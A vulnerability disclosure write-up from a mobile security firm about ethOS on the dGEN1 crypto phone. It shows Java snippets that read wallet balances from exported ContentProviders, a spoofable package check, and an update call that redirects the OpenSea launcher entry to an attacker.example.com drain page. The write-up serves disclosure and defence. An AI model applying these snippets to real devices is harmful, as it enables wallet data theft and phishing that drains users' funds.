Maxhed LogoMaxhed Text Logo

Vulnerability Research

The Crypto Phone With a Backdoor

May 20, 2026 • 10 min read • Maxhed Research Team

Disclosure status: These vulnerabilities were reported to Freedom Factory. Some of these have been patched. This writeup is published following 90-day responsible disclosure.

A deep dive into vulnerabilities in the Freedom Factory dGEN1 that let a malicious app steal wallet data and hijack every dGEN app store installed app.

The Phone in Question

The Freedom Factory dGEN1 is marketed as a phone built for Web3. It runs ethOS, a fork of Android 12 modified by the Freedom Factory team to include a software Ethereum wallet, a custom DApp launcher, and EIP-4337 account abstraction — a newer Ethereum standard that lets the wallet execute complex transactions without the user managing raw private keys.

The device comes pre-loaded with a dGEN App Directory which allows users to install from a preselected list of dApps they can then launch directly.

dGEN App DirectorydGEN Launcher with Aave
Aave launched in dGEN browser

Under the hood, the launcher includes two types of apps: real apps (full APKs) and fake apps — just DApp links opened in a custom browser. The dGEN App Directory entries (Aave, OpenSea, etc.) are all fake apps.

App backend architecture

Straightforward, if things were securely designed. We detected two categories of vulnerability that, when chained, allow any installed app to steal a user's wallet balance.

Step 1: Recon — Get All Holdings By User

The ethOS wallet manager stores portfolio data in three Android ContentProviders — a standard Android mechanism for sharing structured data between apps. All of them are exported to all apps with no read permission required.

What's exposed

The first provider (OwnedTokenContentProvider, authority: org.ethereumphone.walletmanager.ownedtokens.provider) lists every token in the wallet: token address, ticker symbol, current balance, and current USD value. Any installed app can query it.

// No special permission needed. Any app can run this.
Cursor c = context.getContentResolver().query(
    Uri.parse("content://org.ethereumphone.walletmanager.ownedtokens.provider/ownedTokens"),
    null, null, null, null);

while (c.moveToNext()) {
    String symbol  = c.getString(c.getColumnIndex("symbol"));
    String balance = c.getString(c.getColumnIndex("balance"));
    String usdVal  = c.getString(c.getColumnIndex("usdValue"));
    // Full portfolio disclosed. No permission required.
}

The second provider (SwapDataContentProvider, authority: com.walletmanager.swapdata.provider) is more sensitive: it leaks the wallet address and stores partially-constructed transaction calldata — unsigned ERC-20 approve payloads pre-built for swap operations.

% adb shell content query --uri content://com.walletmanager.tokenbalance.provider/balances/positive
Row: 0 contract_address=0x09a8221378ea9d50f5fc15f3e03f9ff513132cae, chain_id=137, token_balance=1
Row: 1 contract_address=0x623655b4b52731d038d6d26373dbf758384d47e2, chain_id=137, token_balance=1
Row: 2 contract_address=0xc308d6f2153933daa50b2d0758955be0a93a8fac, chain_id=137, token_balance=384848
Row: 3 contract_address=0x0db510e79909666d6dec7f5e49370838c16d950f, chain_id=8453, token_balance=384775

An installed app can silently enumerate your wallet address, your entire token portfolio, and the USD value of each position — without any permission prompt, without any notification to the user, without needing to be interacted with at all.

Step 2: Heist — Hijacking Every FakeApp on Your Phone

The dGEN1 launcher's curated DApp links are stored in a SQLite database exposed through another unprotected ContentProvider: FakeAppProvider (authority: org.ethosmobile.ethoslauncher.FakeAppProvider). No read permission. No write permission. Any installed app can touch this database.

There is a weak attempt at write protection in the insert() method — it checks a callingPackage field in the data being inserted. But this field is supplied by the caller, not verified by the OS, making it trivially spoofable:

// From FakeAppProvider (decompiled):
String callingPackage = values.getAsString("callingPackage");
if (!"org.ethereumphone.dappstoreapp".equals(callingPackage)) {
    throw new SecurityException("Unauthorized");
}
// Bypass: just include the expected string in your ContentValues.

More critically, the update() and delete() methods have no authorization check at all.

The attack: a malicious app updates the existing OpenSea entry, keeping the title "OpenSea" but replacing the URL with an attacker-controlled phishing page. The user's launcher looks identical. They tap "OpenSea." They land on a fake site that asks to connect their wallet.

// Replace the OpenSea URL in-place. No permission needed.
ContentValues cv = new ContentValues();
cv.put("url", "https://attacker.example.com/drain");

context.getContentResolver().update(
    FAKEAPP_URI,
    cv,
    "title = ?",
    new String[]{"OpenSea"});

Before — legitimate Aave URL

Row: 0 _id=36, title=Aave,
  url=https://app.aave.com

After — replaced with attacker URL

Row: 0 _id=36, title=Aave,
  url=https://attacker.example.com/drain

Putting It Together: The Full Attack Sequence

User installs a malicious app
        ↓
App queries OwnedTokenContentProvider
→ Full portfolio: balances, USD values, token addresses
        ↓
App queries SwapDataContentProvider
→ Wallet address + pre-built transaction calldata
        ↓
App updates FakeAppProvider (no auth required)
→ Replaces OpenSea, Uniswap, Aave URLs with attacker pages
        ↓
App registers ContentObserver on wallet URI + BOOT_COMPLETED
→ Persists across reboots, re-triggered by wallet price refresh cycle
        ↓
User taps "OpenSea" in launcher
→ Lands on attacker-controlled phishing site
→ Attacker already knows their wallet address and balance
→ Connects wallet, funds drained

No root. No exploits. No interaction beyond installing the app.

Impact

The worst-case outcome is total loss of all assets held in the ethOS wallet. A malicious app installed from any source — a sideloaded APK, a third-party store, even a seemingly unrelated utility — can silently enumerate the victim's wallet address and full portfolio, then replace every curated DApp link in the launcher with attacker-controlled phishing pages. The next time the user taps "Aave" or "OpenSea," they land on a convincing fake that already knows their wallet address and balance, and prompts them to connect. Approving that connection drains their funds.

There is no prompt, no permission dialog, and no visible indicator that anything has changed. The attack survives reboots. The user has no way to detect it short of manually inspecting each launcher URL.

Disclosure Timeline

  • Jan 2–9, 2026 — Emailed team + messaged on Twitter; no response
  • Feb 20, 2026 — Follow-up email; no response
  • May 20, 2026 — Full disclosure

CVEs: CVE-2026-3667, CVE-2026-3668, CVE-2026-3669, CVE-2026-3670, CVE-2026-3671, CVE-2026-3674, CVE-2026-3675

Need a Mobile Security Assessment?

Maxhed tests Android and iOS apps, custom firmware, and Web3 integrations for vulnerabilities like these before they reach your users.